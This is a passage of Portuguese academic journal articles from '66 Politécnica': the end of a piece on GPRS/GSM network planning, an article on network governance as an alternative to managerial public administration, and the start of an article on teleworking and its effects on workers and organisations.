frequency hoping em redes GSM para tráfego de voz, as
actuais redes GPRS over GSM não operam no modo hop. O
traáfego de dados tem que ficar sempre associado a um
transceiver que não detém capacidade de alterar a
frequência durante a comunicação [Kalakauskis, 2002].
Actualmente, o tráfego GPRS é substancialmente inferior ao
tráfego de voz, e a maior parte dos operadores alocam o
tráfego de dados aos time-slots disponíveis no canal
Broadcast Control Channel (BCCH), um canal utilizado para
difusão de informações da rede aos terminais móveis. Mas à
medida que o tráfego de dados cresce, chegamos
rapidamente ao limite disponível no BCCH. Quando tal
acontecer os operadores terão necessidade de alocar
transceivers totalmente dedicados ao trânsito de dados.
Nesse cenário de curto prazo a forma de planificação da
rede móvel será necessariamente repensada com o
acréscimo de dificuldade acrescido.
Acima de tudo, será necessário repensar a estratégia de
planificação da rede, assumindo uma estratégia de
transmissão simultânea de GSM e GPRS nas estações base.
Esta solução, até aqui utilizada e como foi visto inviabiliza a
implementação de frequency hoping, com todas as
consequências descritas neste artigo. Se os operadores
dedicarem um novo transceiver em cada estação base, a
capacidade de reutilização de frequências irá ter que ser
implementada para uma distância maior, o que reduzirá
drasticamente os canais de voz disponíveis.
No outro cenário, em que os operadores terão que limitar o
trafego de dados (GPRS) apenas a algumas estações base
seleccionadas, a optimização da cobertura da rede GPRS
será mais complexa e terá de obedecer a uma planificação
mais rigorosa. As estações BTS alocadas ao tráfego de
dados, devem estar situadas e configuradas de forma a
servir às “target areas” que apresentem maiores
necessidades de tráfego. Assim, os operadores deverão
determinar a cobertura rádio-eléctrica óptima baseando-se
na minimização do path loss para a área coberta. Também
deve ser tomada em atenção a minimização da
interferência, já que esta é especialmente preocupante em
GPRS, podendo levar à necessidade de retransmissão de
blocos de dados perdidos. [Rysavy, 1998].
5- Conclusões
A tarefa de planificação de uma rede móvel tem uma
variável nova, a necessidade crescente de optimização da
rede para o tráfego de dados. [Trillium, 1999].
A procura de um solução óptima deve considerar não só as
necessidades actuais de tráfego, como a perspectiva de
evolução rápida no curto prazo. A escolha da solução
adequada, geralmente obtida à custa de software adequado
deve, também, ter sempre em conta a minimização dos
custos de upgrade da rede.
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66 Politécnica
15
1. INTRODUÇÃO
Enquanto algum ramo da ciência oferece uma
abundância de problemas, significa que está vivo; uma
falta de problemas implica uma extinção ou cessar de
desenvolvimento... É pela solução de problemas que o
investigador testa o temperamento da sua
sensibilidade; encontra novos métodos e novos pontos
de vista, e ganha maior e mais livre horizonte.(David Hilbert, 1902)
David Hilbert transmitiu para a comunidade científica que
problemas não resolvidos são um sinal de vitalidade e que a
pesquisa sobre os problemas mais difíceis é necessária:
“porque o que é claro e de fácil compreensão atrai; o
complicado repele”.
Tal como há cem anos atrás, o espírito de hoje deve ser a
procura constante de novas soluções para problemas
actuais, e é com base nesta filosofia que vimos emergir na
Administração Pública novas teorias de gestão.
As condições económicas, tecnológicas e sociais de hoje,
exigem formas organizacionais diferentes daquelas que
dominaram as sociedades modernas desde a segunda
metade do século XIX. A organização burocrática,
caracterizada pela centralização e pelo controlo hierárquico,
é cada vez mais vista como uma forma organizacional
pouco adequada para lidar com os problemas inerentes às
sociedades contemporâneas.
Os modelos de Administração Pública estão a evoluir de
sistemas centralizados e centrados no Estado para sistemas
mais flexíveis e descentralizados (Araújo, 2001).
Governar através de redes (networks) surge como um novo
processo de coordenar as actividades e de dirigir as
organizações. Este modelo centra a sua atenção na
interdependência desenvolvida entre os vários actores, na
cooperação entre um grande número de organizações
públicas, semi-públicas e privadas. A gestão em networks
assenta em conceitos de reciprocidade em vez de competição,
exigindo um elevado grau de confiança entre os participantes.
2. EMERGÊNCIA DE UM NOVO MODELO DE
ORGANIZAÇÃO
As raízes da Administração Pública actual podem ser
encontradas no modelo burocrático de Max Weber, o qual
define a burocracia como sendo o Tipo Ideal de
Organização. Nesta concepção, a estrutura administrativa é
caracterizada pela centralização e hierarquia. O processo
administrativo é predominantemente um processo do tipo
Top-down, em que a coordenação é feita através de uma
série de regras que permitem o controlo da estrutura
administrativa. A este modelo, corresponde uma
administração que baseia o seu relacionamento com os
cidadãos no formalismo, com base em rotinas e
procedimentos estandardizados.
O carácter legal das normas e regulamentos, a hierarquia da
autoridade, a continuidade e a estabilidade são algumas das
características principais da burocracia, apresentadas por
Max Weber.
A crise económica dos anos setenta veio abalar este modelo
de administração. A insistência na melhoria de eficiência dos
serviços públicos, bem como a crise da teoria administrativa,
levaram a uma crescente reorientação da investigação para
a gestão pública ou “public management”. Embora não se
trate de uma nova disciplina separada da Administração
Pública (Bozeman, 1993), ressalta a importância do estudo
das políticas públicas e do “public management”, tendendo
este a aproximar-se da gestão empresarial. O que se
pretende com a “administração empresarial” é substituir a
gestão pública tradicional pela gestão de empresas privadas
já que se assume que tudo o que é público é ineficiente.
Em termos práticos, o modelo managerial insiste na
descentralização, na delegação de competências e na
possibilidade de distinção entre política e administração. À
política competiria definir as directrizes e à administração a
sua implementação segundo as regras da gestão privada.
Esta abordagem assume-se como uma alternativa ao
modelo burocrático orientando-se para os resultados.
A Governação como Alternativa aoModelo Gestionário
Tendo presente a crescente complexidade da actividade da
Administração Pública e dos problemas que procura solucionar,
assistimos ao aparecimento de novas formas de dirigir as
organizações. Este artigo analisa um novo modelo de gestão
pública: a governação em networks. Este modelo centra a sua
atenção na interdependência desenvolvida entre os vários
actores na cooperação entre um grande número de
organizações públicas, semi-públicas e privadas.
CCaarrllaa SSooffiiaa RRoocchhaa**
____________________________________________________________________
* Docente no Instituto Superior Politécnico GayaMestranda em Administração Pública na Universidade do MinhoTécnica Superior na Câmara Municipal de Santa Maria da Feira
16
A experiência posterior veio, porém, demonstrar que o
modelo managerial se mostrou inadequado para resolver os
problemas da Administração Pública. Mintzberg (1996) num
artigo da Harvard Business Review, “Managing Government,
Governing Management”, afirma que muitos dos problemas
da administração pública radicam na imitação da gestão
empresarial. Metcalfe (1993) afirma também que a gestão
pública deve deixar de imitar a gestão empresarial e
procurar inovar, já que se atingiram os limites da utilidade
da aplicação das práticas da gestão empresarial. Assim, o
modelo managerial tem vindo progressivamente a ser
abandonado com o aparecimento do conceito de
governação em rede que surge como um novo processo de
coordenar as actividades e de dirigir as organizações sendo
considerado por vários autores como um modelo alternativo
aos dois modelos anteriores (Araújo, 2002c).
Enquanto que o “new public management” representa uma
tentativa de introduzir técnicas de gestão privada nas
organizações públicas (tal como o contracting out,
orientação voltada para o cliente, introdução de
mecanismos de mercado), a gestão em networks tem como
objectivo a mediação e a coordenação interorganizacional
da formação política. Este último conceito (networks)
adquiriu, nos últimos anos, um lugar importante na ciência
política e na administração pública, demonstrada por um
número crescente de publicações na Europa e nos E.U.A..
O conceito de governação em networks está entre a
autonomia do mercado e a hierarquia burocrática e racional
(Kikert, 1997a).
CCaarraacctteerrííssttiiccaass ddaass rreeddeess ee hhiieerraarrqquuiiaass
3. O NOVO SISTEMA DE GOVERNAÇÃO
A procura de novos modelos administrativos e o
relançamento da discussão sobre gestão pública e
governação deve-se ao aparente consenso desenvolvido à
volta da ideia que o governo não é o piloto pelo qual a
sociedade é governada e à evidência que os processos de
formação política são geralmente uma acção combinada
entre vários actores.
A gestão em networks representa a resposta da sociedade
pós–burocrática às características da governação que se
baseiam na autonomia e na interdependência entre
organizações públicas, privadas e organizações sem fins
lucrativos (Araújo, 2002b).
Trata-se da substituição do modelo burocrático por um
modelo que enfatiza a imprecisão das fronteiras entre o
sector público e privado, a interdependência entre as
diferentes organizações, a necessidade de consensos e a
cooperação entre uma multiplicidade de actores.
Segundo Kikert (1997b), a gestão em networks consiste na
promoção da cooperação. De facto, o resultado da acção
administrativa torna-se em muitas áreas, não o resultado da
implementação autoritária de regras pré-estabelecidas, mas
o resultado da interacção e cooperação entre as várias
organizações (Offe,1984).
3.1. FUNDAMENTAÇÃO TEÓRICA DA TEORIA DE
GESTÃO EM NETWORKS
O conceito de rede em ciência política recua ao início dos
anos 70.
Hierarquias Redes/ Networks
Estrutura administrativa • Centralização • Descentralização• Divisão específica do trabalho • Estrutura integrada e interligação entre sectores • Sectorização
Processo de implementação • De cima para baixo • De baixo para cima
Estilo governativo • Insistência nas regras • Desregulação • Direitos de controlo • Orientação de mercado• Gestão pelo governo • Comunicação/diálogo
• Redes governativas
Vantagens • Comando e controlo claros • Apoio mútuo • Legitimidade baseada na democracia • Oportunidades de aprendizagem erepresentativa desenvolvimento de competências
• Estabilidade • Flexibilidade• Autonomia • Visão holística
Desvantagens • Défice de implementação • Falta de método na tomada de decisões colectivas • Falta de conhecimento local • Conflitos ao nível do domínio, objectivos e métodos• Rigidez • Défice coordenativo• Problemas ao lidar com dinâmicas complexas • Fragmentaçãoe diversos sub-sistemas sócio – políticos
Fonte: Niemi- Iilahti Anita, «Will Networks and Hierarchies ever Meet?», p.4.
66 Politécnica
17
A abordagem da política interdependente é visível no
trabalho de autores como Allison (1971), Cohen (1972) e
Lindblom (1965). Nestes trabalhos, o termo “política”
aparece como o resultado da interacção entre múltiplos
actores, em que interesses contraditórios caracterizam os
processos políticos.
A gestão em networks foca a sua atenção no processo de
interacção entre os actores independentes e a complexidade
de objectivos e estratégias como uma consequência dessa
interacção. Nesta abordagem a maior atenção é dada ao
contexto institucional no qual o processo interactivo se
desenrola. Assim, são vários os autores unânimes em
defender que a teoria da gestão em rede é inspirada na
Teoria Inter-Organizacional (Klijn e Koppenjan, 2000).
O principal ponto de partida da abordagem inter-
organizacional é que o futuro das organizações consiste
noutras organizações, isto é, para sobreviver uma
organização necessita de recursos de outras organizações.
Estas comprometem-se a trocar relações umas com as
outras, e assim assistimos ao emergir de uma rede de
actores mutuamente dependentes. Na teoria inter-
organizacional há uma atenção especial para as ligações
entre as organizações e para as estratégias usadas por elas
para influenciar os processos de mudança.
Apesar do desenvolvimento da teoria da gestão em
networks ter sido influenciado pela teoria inter-
organizacional, esta abordagem de gestão tem desenvolvido
a sua própria estrutura teórica.
A abordagem em networks assume que a política é feita
através de um processo complexo e interactivo entre um
grande número de actores mutuamente dependentes.
Assim, a política só pode ter lugar com base na cooperação
(Klijn e Koppenjan, 2000), entre um grande número de
organizações públicas, semi–públicas e privadas.
No entanto, a cooperação nem sempre é fácil, visto que a
política ocorre em ambiente de tensão entre dependências e
diversidade de objectivos e interesses. Desde que a
cooperação e a colaboração nos objectivos e interesses
deixou de acontecer por comum acordo, tornou-se
necessário dirigir a rede. Estas estratégias de direcção, isto é,
a gestão da rede, tornou-se uma variável central na gestão
em networks, focando em primeiro lugar o aperfeiçoamento
da cooperação entre os diversos actores envolvidos.
Segundo Klijn e Koppenjan (2000) as suposições teóricas da
gestão em networks são:
RReeddeess
• Os actores são mutuamente dependentes para alcançar os
objectivos;
• As dependências criam relações sustentáveis entre actores;
• As dependências criam poder de veto para vários actores;
• A sustentabilidade das interacções cria e solidifica a
distribuição dos recursos entre actores;
• Os meios de distribuição e a formação das regras
conduzem a certas reservas da rede, relativamente aos
actores que estão de fora;
• As regras são formadas e solidificadas no decorrer das
interacções, o que regula o comportamento dos actores;
PPrroocceessssooss ppoollííttiiccooss
• Dentro da rede, as interacções entre actores na política
ganham importância, focando-se por um lado, na
resolução de tensões entre dependências e na divergência
e conflito de interesses por outro;
• Os actores partem para a percepção que defendem acerca
da área política, dos outros actores e das decisões a
apostar;
• Os actores seleccionam estratégias específicas na base da
percepção;
• Os processos políticos são complexos e não inteiramente
previsíveis em virtude da variedade de actores, das suas
percepções e estratégias;
RReessuullttaaddooss
• A política é o resultado de interacções complexas entre
actores que participam nos jogos da rede;
GGeessttããoo ddaa rreeddee
• Dada a variedade de objectivos e interesses, bem como
dos actuais e potenciais conflitos sobre a distribuição de
custos e benefícios, a cooperação não é automática e não
se desenvolve sem problemas;
• A acção concertada pode ser melhorada através de
incentivos de cooperação, de processos e conflitos de
gestão e da redução de riscos ligados à cooperação.
3.2. A GESTÃO EM REDE
3.2.1. O GESTOR DE REDE
Dentro da rede ocorrem interacções sucessivas à volta da
política e de outros assuntos, as quais podem ser chamadas
de jogos. Os processos políticos podem assim ser vistos
como um conjunto de jogos entre actores, onde cada um
tem a sua própria percepção da natureza do problema, das
soluções desejadas e dos outros actores da rede. Os
resultados do jogo são consequência das interacções das
estratégias dos diferentes jogadores do jogo. Estas
estratégias são todavia influenciadas por vários factores, tais
como: a percepção dos actores, o poder, os recursos
disponíveis e as regras da rede.
18
É implícito supor que estas diferenças de estratégia dos
diversos actores, levam à necessidade de dirigir os jogos que
ocorrem na rede.
Assim, o gestor de rede, não é o actor central ou o director,
mas um mediador ou estimulador. Este papel não é
necessariamente dirigido apenas a um actor. Apesar de os
actores públicos assumirem muitas vezes o papel de
gestores de rede, os demais actores não estão impedidos de
o fazer.
Neste modelo de gestão pública, o gestor público não tem
as mesmas funções das que são normalmente atribuídas ao
gestor privado. Segundo Kooiman (1993), o gestor de rede
é fundamentalmente um integrador da diversidade,
orientador das dinâmicas sociais e decompositor da
complexidade, procurando solucionar conflitos e promover a
colaboração entre os actores. Trata-se de um gestor “tipo
delta”, um superprofissional dotado de vastos
conhecimentos e inteligência prática, com uma enorme
capacidade de diálogo e de construir pontes entre os actores
(Dror,1997).
3.2.2. O PAPEL DO PODER E OS CONFLITOS NAS REDES
Uma das críticas dirigidas à teoria da gestão em networks é
que esta não tem em linha de conta os conflitos e as
diferenças de poder.
A cooperação é o elemento chave para que os actores que
se encontram em situações de dependência mútua
consigam realizar os seus objectivos. Este facto não implica
que a cooperação seja estabelecida sem conflitos, uma vez
que as relações de dependência duráveis não significam
necessariamente que nenhum conflito surgirá na
distribuição dos custos e benefícios dos processos políticos.
A falta de um actor dominante não implica que os recursos
sejam igualmente distribuídos entre os actores
(Knight,1992). As regras podem também operar em
vantagem de alguns e em desvantagem para outros,
levando a diferenças de poder. Não obstante, os actores
menos poderosos podem influenciar a tomada de decisão,
usando o seu poder de veto, ou a sua habilidade para usar
recursos no sentido da estagnação ou bloqueio do processo.
Assim, os actores mais poderosos precisam de considerar os
colegas menos poderosos.
O poder é um dos conceitos centrais na análise de redes.
Para Thorelli (1986), poder, é a capacidade para influenciar
as decisões ou acções dos outros. Segundo o mesmo autor,
as fontes de poder de um participante na rede são:
- Base económica;
- Tecnologia;
- Perícia;
- Confiança;
- Legitimidade do actor.
3.3. ACTORES PÚBLICOS E REDES POLÍTICAS
Na gestão em networks, os actores públicos não
representam o papel dominante que frequentemente é
atribuído noutras perspectivas da Administração Pública.
A gestão em networks é acusada de considerar o governo
como sendo meramente um “actor entre actores”, o que
pode conduzir a problemas de legitimidade democrática ou
de responsabilidade. O facto do governo ser confrontado
com a realidade das suas dependências perante outros
actores, não implica que a sua posição não seja especial.
Deste modo, para a teoria da rede, o governo não é apenas
mais um actor. Os governos têm recursos únicos à sua
disposição e trabalham para alcançar objectivos únicos,
ocupando uma posição especial que na maioria dos casos
não pode ser conseguida por outros. Os recursos que
determinam a referida posição incluem: orçamentos
consideráveis, acesso a meios de comunicação de massa,
monopólio no uso da força e legitimação democrática. O
acesso a estes recursos proporciona aos governos um poder
considerável. É certo que o governo ocupa um lugar
diferente dos outros parceiros da rede, contudo não os
domina unilateralmente nem dita hierarquicamente as suas
ordens.
Os autores Klijn e Koppenjan (2000) argumentam que
quando confrontados com uma situação de ligação à rede,
os governos têm as seguintes opções:
• Primeiro, podem escolher não se unir aos jogos da rede, o
que significa que tentarão impor unilateralmente as suas
ideias e objectivos a outros actores sociais;
• Segundo, os governos podem decidir levar a cabo as suas
tarefas em cooperação com outros actores públicos, semi
– públicos e privados;
• Terceiro, o governo pode tomar a posição de gestor do
processo e assim tentar facilitar o processo interactivo
destinado à resolução de certos problemas ou à realização
de projectos;
• Quarto, os governos podem escolher levar a cabo o papel
de construtores da rede.
Dados os recursos especiais dos governos e o seu papel
como representantes do interesse comum, os governos
parecem estar eminentemente adaptados para este último
papel.
Os autores apontam como um sério perigo a confusão
destes quatro papéis por parte do governo, o que pode
conduzir a desentendimentos e conflitos entre actores e pôr
em causa a fiabilidade e legitimidade do governo.
66 Politécnica
19
3.4. FACTORES RELEVANTES PARA O SUCESSO OU
FRACASSO DA GESTÃO EM NETWORKS
Na gestão em networks as explicações para o sucesso ou
fracasso dependem de uma questão chave: a Cooperação.
Esta abordagem assume que os resultados políticos são o
resultado da interacção entre vários actores. O envolvimento
destes actores é consequência do facto de possuírem
recursos que não são exclusivos de um só, havendo
necessidade do seu envolvimento para a resolução de um
problema particular. Quando os actores conseguem reunir
os seus esforços e formular objectivos e interesses comuns,
conduzem os jogos políticos a resultados satisfatórios.
Por outro lado, os actores podem perder o interesse nos
jogos políticos quando ocorre a estagnação. A estagnação e
os bloqueios podem também ser consequência de uma
quebra de equilíbrio entre os custos da interacção e os
resultados esperados dos jogos políticos. Uma importante
explicação para o fracasso da gestão em rede é o facto dos
actores poderem estar insuficientemente cientes das suas
dependências externas.
A acção combinada requer assim que os actores possam
avaliar as suas dependências mútuas, as possibilidades de
cooperação e os limitados riscos e custos envolvidos. A falta
de consciência de dependências mútuas, conflitos de
interesses e custos de interacção, são explicações
importantes para o fracasso da gestão em rede.
A forma como os recursos estão distribuídos pelos vários
actores, também influencia o sucesso dos jogos políticos.
Diferentes actores possuem diferentes recursos e como tal,
diferentes posições na rede. As mudanças na distribuição
dos recursos nas redes podem reflectir-se no jogo político e
conduzir uma rede do sucesso ao fracasso ou vice-versa.
Para além disso, as regras têm um papel muito importante
no desenvolvimento dos processos políticos. As interacções
entre actores de várias redes podem ser difíceis porque estes
têm poucas regras para orientar as suas interacções. As
regras são construções sociais dos actores na rede e diferem
de rede para rede. A sua existência reduz os custos de
transacção e simplifica a cooperação. A falta de confiança e
a inexistência de regras conduzirá mais depressa a
resultados de não cooperação e, por conseguinte, ao
fracasso dos jogos políticos. Scharpf (1997) conclui:
“Podendo confiar e sendo de confiança, é uma vantagem -
mas explorar a confiança pode ser mais vantajoso”.
As regras são um dos mais importantes pilares da confiança.
No entanto, não podemos esquecer que o resultado de
quebrar as regras pode ser atraente para os actores. Neste
sentido, qualquer estudo de gestão em rede deve dar uma
atenção especial à reformulação e reinterpretação das regras
como uma consequência externa de uma escolha de um
actor.
Os autores Klijn e Koppenjan (2000) identificam as
explicações para o sucesso ou fracasso da gestão em
networks:
AAoo nníívveell ddaa iinntteerraaccççããoo::
• Os actores apercebem-se das suas dependências;
• Os actores são bem sucedidos na redefinição de interesses
divergentes e conflituosos para o interesse comum;
• Os custos de interacção são ou não favoravelmente
equilibrados com a compreensão dos resultados da
interacção;
• Os riscos da interacção nos jogos são limitados como
consequência das estratégias de outros actores;
• Previsão da gestão do jogo (percepção mútua do
desenvolvimento, jogos e gestão conflituosa).
AAoo nníívveell ddaa rreeddee ::
• Os actores possuem poder de veto, visto que os recursos
são indispensáveis;
• Os actores com poder de veto estão actualmente
envolvidos no processo;
• Os actores nos jogos pertencem à mesma rede, interagem
uns com os outros e desenvolvem regras mutuamente.
3.5. FACTORES DE COESÃO EM NETWORKS
Desde Weber que os gestores públicos têm explicitamente
ou implicitamente aceite que é a autoridade legal inserida
numa hierarquia que mantém as pessoas a operar numa
estrutura burocrática, sendo esta a razão principal pela qual
as pessoas permitem a si próprias serem lideradas. As
networks não são baseadas no paradigma de autoridade
legal. Sendo assim, pode questionar-se porque razão
pessoas de diferentes organizações que não têm
relacionamentos legais de autoridade, decidem trabalhar
juntas na clarificação de problemas e na procura de
soluções. A literatura sugere a importância da confiança,
objectivos comuns, dependência mútua e a existência de
recursos limitados como os principais factores explicativos.
Na ausência de um estatuto legal, é usualmente aceite que
as pessoas trabalham juntas por causa de um motivo: a
confiança.
A confiança é necessária quando as organizações públicas e
não públicas tentam redefinir os seus relacionamentos
baseados na hierarquia e na legalidade, sendo entendida
como uma certeza na continuidade de uma relação de
satisfação recíproca. A confiança, segundo Thorelli (1986) é
baseada na reputação e, mais importante ainda, no
desempenho passado, sendo construída através de
20
amizades pessoais e laços sociais estabelecidos no interesse
do dia-a-dia.
Outros afirmam que uma crença partilhada ou um objectivo
comum, contribui para manter a rede junta. Assim, a
organização individual só é relevante para o entendimento
de como e porque razão cada organização contribui para a
coesão do grupo.
A dependência mútua é ainda outra explicação para a
coesão das networks. A literatura interorganizacional de
algumas décadas atrás, sugere que os actores de uma rede
estão numa espécie de dependência interactiva,
normalmente baseados no intercâmbio de recursos.
A liderança e a capacidade de orientação dentro de sistemas
de auto gestão é outro contribuinte proeminente para a
coesão de networks identificada na literatura de gestão
pública. É frequentemente entendido que a liderança e a
gestão em networks requerem princípios de orientação mais
flexíveis como substitutos da linha de comando e controlo.
Para alguns teóricos, a liderança é o factor central para
segurar a rede junta. O líder estabelece metas comuns, cria
um ambiente de confiança, gere contribuições
organizacionais e individuais e lança energias de acordo com
alguns planos estratégicos. É importante notar que estes
não são atributos pessoais, talentos, ou condições de
indivíduos, são papéis num sistema de interacções
estratégicas.
4. CONCLUSÃO
A gestão em networks é uma fonte importante de
inspiração para o desenvolvimento da administração
pública. A natureza das tarefas com as quais os governos
nas sociedades contemporâneas são confrontados, não
permite o comando e o controlo de todas as situações.
Devido à ambiguidade e complexidade destas tarefas, os
governos terão que aprender a estabelecer parcerias com
outras partes. As estratégias da gestão em rede terão que
fazer parte dos seus procedimentos.
Por exemplo, na Holanda esta visão é amplamente
reconhecida e importa salientar as experiências
desenvolvidas pela Universidade de Roterdão com base em
parcerias da administração local com o sector privado e
organizações não lucrativas.
A Administração Pública moderna é uma rede de ligações
verticais e horizontais entre organizações de todo o tipo -
públicas, privadas lucrativas e sem fins lucrativos e
voluntárias. E nesta rede de ligações complexas, os cidadãos
são o centro da Administração Pública (Araújo, 2002c).
66 Politécnica
21
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22
aumento da produtividade ao nível dos quadros médios e
superiores.
Sem dúvida, que a produtividade de um profissional, que
tem por missão a reflexão, é bastante reduzida, dadas as
constantes interrupções de que é alvo no decorrer do seu
dia de trabalho. Não podemos considerar possível que um
director de um departamento, possa desenvolver a
totalidade da sua actividade em regime de teletrabalho,
contudo é bastante aceitável, que se encontre um equilíbrio
que permita um regime misto.
O teletrabalho pode ser explorado em várias vertentes, não
sendo considerado como regime único, i.e., existem uma
série de funções que podem e devem contemplar uma
componente desenvolvida em regime de teletrabalho,
complementada com o trabalho exercido no espaço físico
da organização. Os gestores de topo são potenciais
candidatos a desempenhos desta natureza, resultando num
trabalho de qualidade superior, num menor espaço de
tempo. Para além das vantagens ao nível dos resultados, é
um factor motivador para os trabalhadores [Bentley e
Yoong, 2000].
Também ao nível da inserção das mulheres no mercado de
trabalho, esta via potencia-se como uma excelente
oportunidade de integrar mulheres com elevado valor, que
devido às suas responsabilidades no seio da família, têm
bastantes dificuldades em desempenhar funções de topo
numa organização [Papalexandris e Kramar, 1997]. Num
estudo efectuado em 1996, conclui-se que, 40% das
mulheres europeias, se encontram inseridas no mercado de
trabalho, enquanto que se torna crescente, a preocupação
da família como instituição, dando primazia aos valores da
família e às repercussões da ausência de acompanhamento
da família na sociedade do futuro. Daqui resulta um conflito
entre o trabalho e a família [Papalexandris e Kramar, 1997].
Manuela Peréz [Peréz et al., 2002], classifica o teletrabalho
em 3 grandes tipos:
• teletrabalho a partir de casa;
• escritórios satélite, usualmente denominados filial;
• trabalho móvel.
66 PolitécnicaA opção pelo teletrabalho e suasrepercussões
23
SSííllvv iiaa OOlliivv eeiirraa SSaannttooss 11
Palavras chave: teletrabalho, recursos humanos, sociologia.
1. Introdução
Na era da globalização, colocam-se, mais do que nunca, às
organizações novos desafios, que exigem dos seus líderes
uma total abertura, para encetar novas soluções que visem a
sua sobrevivência económica, não perdendo, contudo, de
vista a satisfação e motivação dos seus recursos humanos.
A gestão do conhecimento e a flexibilização do trabalho,
têm sido alvo de discussão e estudos, que são unânimes em
concluir que, permitindo uma maior flexibilização do
trabalho aos nossos profissionais e gestores, contribui para
sustentar a médio, longo prazo vantagens competitivas
[Pérez et al., 2002].
Ao nível das preocupações sociais, no respeitante ao
ambiente de trabalho e da família, procura encontrar-se
caminhos alternativos. Num esforço de controlar os níveis de
poluição e congestionamento de tráfego, vários governos
procuram incentivar as organizações a criar programas de
trabalho que contribuam para diminuir este tipo de
problemas. Também no que concerne aos clientes se
constata, que estes apostam em organizações que
demonstrem uma responsabilização ambiental e social.
Actualmente os clientes têm um nível educacional superior,
são mais exigentes e mais selectivos [Tan-Solano e Kleiner,
2001].
2. A opção pelo teletrabalho
Tem sido crescente a opção das organizações na
implementação do teletrabalho, tendo contribuído para esse
facto a conclusão que, na generalidade, os seus profissionais
são mais produtivos e têm um índice menor de rotatividade
e absentismo [Pérez et al., 2002]. As razões que estão na
base da utilização do teletrabalho prendem-se com dois
grandes objectivos por parte da organização, redução de
custos variáveis (em alguns casos também fixos) e o
O teletrabalho proporciona vantagens e desvantagens para o
trabalhador e para a organização, devendo-se ter em
consideração que não é para todas as pessoas, para todas as
funções e apenas porque está na vanguarda.
____________________________________________________________________
1 Licenciada em Recursos Humanos e Psicologia do Trabalho. Formador naárea de Recursos Humanos.
Entende-se por teletrabalho a partir de casa, o trabalho de
colaboradores que pressupõem uma ligação a um escritório
central. Não se inserem nesta categoria os trabalhadores por
conta própria que prestam determinados serviços para uma
organização em regime de outsourcing. Encontramos nesta
categoria funções como directores de marketing, directores
financeiros ou advogados. No caso dos escritórios satélite,
compreende-se os casos em que o trabalho é desenvolvido
num local, normalmente que mais se adeque aos
trabalhadores ou até aos clientes, que se encontra ligado ao
escritório central, podendo ser o caso de uma equipa de
vendas que cobre uma determinada área geográfica do país.
Os trabalhadores móveis desenvolvem o seu trabalho a
partir de locais tão diversos como um hotel, uma viatura,
um combóio, etc. [Pérez et al, 2002].
3. Repercussões inerentes ao teletrabalho
São várias as repercussões do teletrabalho nas organizações,
quer no que concerne ao trabalhador, que ao empregador.
Ao nível do trabalhador, nomeadamente, no aspecto social,
colocam-se várias questões que, apesar de alvo de vários
estudos, não são ainda conclusivas. Contudo, há uma série
de constatações inevitáveis que surgem como consequência
imediata do processo de isolamento, a que o indivíduo é
sujeito num regime desta natureza. Um dos receios mais
apontados pelos teletrabalhadores, é o facto de se sentirem
longe da organização e portanto a sua ausência física levar
ao esquecimento, nomeadamente quando surgem
possibilidades de promoção [Peréz et al., 2002].
“Longe da vista, longe do coração”, a ausência do local de
trabalho e o consequente distanciamento do olhar do chefe,
potenciam um acesso reduzido a novas oportunidades. Os
teletrabalhadores podem, muitas vezes, sentir que os
colegas que desempenham funções dentro da organização,
pela sua maior visibilidade têm o acesso a promoções
facilitado [Tan-Solano e Kleiner, 2001].
A interacção é diminuta, pelo que o estreitamento de laços,
muitas vezes adquiridos nos locais de trabalho, não se
verificam, sendo fundamental a existência de uma vida
social activa e rica.
Paralelamente com o teletrabalho podem surgir conflitos
com os outros membros da família, nomeadamente, quando
o trabalho interfere com a vida familiar. O tempo
despendido com o trabalho tem diferentes interpretações
por parte dos vários membros da família, especialmente,
quando este invade a esfera privada da vida familiar.
Especialmente, ao nível das crianças, torna-se muitas vezes
complicado compreender, que apesar de ter o adulto em
casa, isto não significa que esteja disponível para elas. Os
teletrabalhadores necessitam de actuar com muito cuidado,
de modo a não perder a noção do equilíbrio entre o espaço
para o trabalho e para a vida familiar [Tan-Solano e Kleiner,
2001].
Grande parte da literatura disponível nesta área aborda os
efeitos da adopção deste estilo de vida, nomeadamente ao
nível do isolamento social e da progressão na carreira.
Porém é necessário desenvolver análises quanto aos efeitos
directos nas famílias. Num estudo realizado nos Estados
Unidos, pela Universidade de Sul da Califórnia, a cerca de
400 teletrabalhadores, procurou avaliar-se quais os impactos
causados no indivíduo, tendo-se obtido onze categorias
sintetizadas no quadro seguinte [Nilles, 1996].
24
CCaatteeggoorriiaa ddee iimmppaaccttoo DDeessccrriiççããoo
Vida laboral em geral Diz respeito às alterações no relacionamentodos indivíduos com os seus supervisores,competências de trabalho auto avaliadasnoção de responsabilidade, influências,versatilidade e âmbito do trabalho.
Vida pessoal Este factor inclui alterações na qualidade dasrelações familiares, discrepância de tempo,controlo das próprias vidas, habilidade paraseparar a vida laboral da vida familiar, sucessona auto disciplina, coordenação no tempodedicado ao trabalho e à família, sabendoquando terminar o trabalho.
Visibilidade Os teletrabalhadores sentem-se esquecidospelos seus supervisores quando se encontramlonge da sua vista? Este factor englobaalterações nas próprias influências na estratégiada organização, percepção do que os outrosestão a fazer, como são recebidas as suassugestões e auto avaliada a sua visibilidade naorganização.
Influências do ambiente Inclui alterações no espaço de trabalho emcasa, stress causado pelo barulho existente emredor, habilidade para controlar o trabalho, bioritmo e sentimentos
Pertença Os teletrabalhadores sentem-se isolados? Aquitemos as alterações no envolvimento nasactividades sociais no escritório, quantidade defeed-back do trabalho efectuado, progressãoda carreira, estabilidade e relacionamento comos colegas.
Criatividade Alterações na criatividade no seu própriotrabalho, a quantidade de flexibilidade naperfomance do trabalho e capacidade de autoavaliação.
Também para a organização, são vários os desafios que se
colocam, sendo que, os responsáveis pelos
teletrabalhadores, devem receber formação que vise a
gestão de colaboradores neste regime de trabalho. Quando
os trabalhadores estão no escritório, o chefe, pode pelo
menos assegurar-se que este se encontra no seu posto de
trabalho. A impossibilidade deste tipo de controle causa um
certo estado de nervosismo e insegurança nos superiores. O
trabalhador pode estar a desenvolver outras tarefas, como
levar a criança à escola ou a outras actividades, mas por
outro lado, os mesmos trabalhadores podem trabalhar à
noite, aos fins-de-semana ou estar vinte horas a trabalhar
num determinado projecto [Tan-Solano e Kleiner, 2001].
Para que se verifique a redução efectiva de custos e o
aumento da qualidade e produtividade, é fundamental, ser
criterioso na implementação de um programa exaustivo e
muito bem planeado. Este é um processo constituído por
vários passos, tais como, a enumeração das políticas
subjacentes, avaliação da função, selecção dos
trabalhadores, levantamento do equipamento necessário,
etc [Tan-Solano e Kleiner, 2001].
Margaret Tan-Solano e Brian Kleiner, [Tan-Solano e Kleiner,
